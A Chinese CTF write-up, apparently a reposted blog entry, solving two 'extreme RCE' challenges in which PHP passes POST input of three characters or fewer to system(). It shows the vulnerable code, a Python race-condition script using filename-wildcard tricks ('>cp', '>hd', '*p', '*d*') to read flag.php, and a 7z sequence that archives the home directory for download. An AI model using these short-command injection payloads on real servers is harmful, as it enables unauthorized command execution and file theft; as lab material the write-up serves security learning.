当前位置: 首页 > news >正文

极限RCE之三字节RCE

极限命令执行6

<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {sleep(1);system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>

限定字符长度,先简单的ls,发现有文件(flag.php index.php)
如何去看看有哪些两个字母的命令:
在这里插入图片描述
然后这里面hd是hexdump的缩写可以用来读取文件。然后呢我们要利用的还有一点就是*d*这个就是会匹配到当前文件下带d的字符,即 hd index.php从而读取index.php,所以只需将flag.php的内容覆盖到index.php。但是要条件竞争!

import requestsurl = "http://7b219e58-e304-4f4e-bcd3-d8eaf6cdd8cc.challenge.ctf.show/"requests.post(url, data={"ctf_show": ">cp"})
requests.post(url, data={"ctf_show": ">hd"})try:requests.post(url, data={"ctf_show": "*p"}, timeout=0.1)
except:passr = requests.post(url, data={"ctf_show": "*d*"})print(r.text)

极限命令执行7

<?php
error_reporting(0);#go back home , your flag is not here!if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>

这里用到的命令就是7z(一个用于解压缩的命令)

7z a archive.7z file1 file2 dir1
a = add,表示创建压缩包
archive.7z = 生成的压缩文件名
file1 file2 dir1 = 要打包的文件和目录

~会自动展开为你的家目录的完整路径。
payload:

7z
a
b
* ~

然后下载b.7z压缩包即可!

小结

单独使用*表示将当前目录第一个文件名当作命令执行,其余文件名当作这个命令的参数!

http://www.dtcms.com/a/353284.html

相关文章:

  • 嵌入式学习日记(35)TCP并发服务器构建
  • 指纹手机应用核心技术解析:从识别到智能交互
  • 搭建域服务器
  • 毕业项目推荐:28-基于yolov8/yolov5/yolo11的电塔危险物品检测识别系统(Python+卷积神经网络)
  • ChatGPT登录不进怎么办?
  • NumPy广播机制:高效数组运算的秘诀
  • 预测模型及超参数:2.传统机器学习:PLS及其改进
  • 守术,明法,悟道
  • 欧盟《人工智能法案》生效一年主要实施进展概览(二)
  • 如何借助文档控件 TX Text Control 轻松优化 PDF 文件大小?
  • 中科大携手智源发布 BGE-Reasoner:引领推理式信息检索新高度
  • AI数据治理:战略选择与伦理平衡
  • C6.4:晶体管模型
  • 语言切换时广播没有监听到语言变化
  • 从传统到创新:用报表插件重塑数据分析平台
  • OpenTelemetry 在 Spring Boot 项目中的3种集成方式
  • SciPy科学计算与应用:SciPy应用实战-数据分析与工程计算
  • SpringBoot集成 DeepSeek 对话补全功能
  • 安全建设之SLA指标(服务等级协议)
  • Linux基础优化(Ubuntu、Kylin)
  • k8s—部署discuz论坛和tomca商城
  • 轮转数组或者旋转数组-力扣189
  • 【开题答辩全过程】以基于Android的校园跳蚤市场交易系统的设计与实现为例,包含答辩的问题和答案
  • java基础(十六)操作系统(上)
  • RCLAMP3552T.TQT电子元器件Semtech 多通道、低电容、高速ESD保护器件/TVS二极管阵列
  • Git零基础入门实践(带图解)
  • JMeter —— 压力测试
  • ES01-环境安装
  • Ansible 核心模块与实操练习
  • 使用Python自动化VS 2022的C++项目构建流程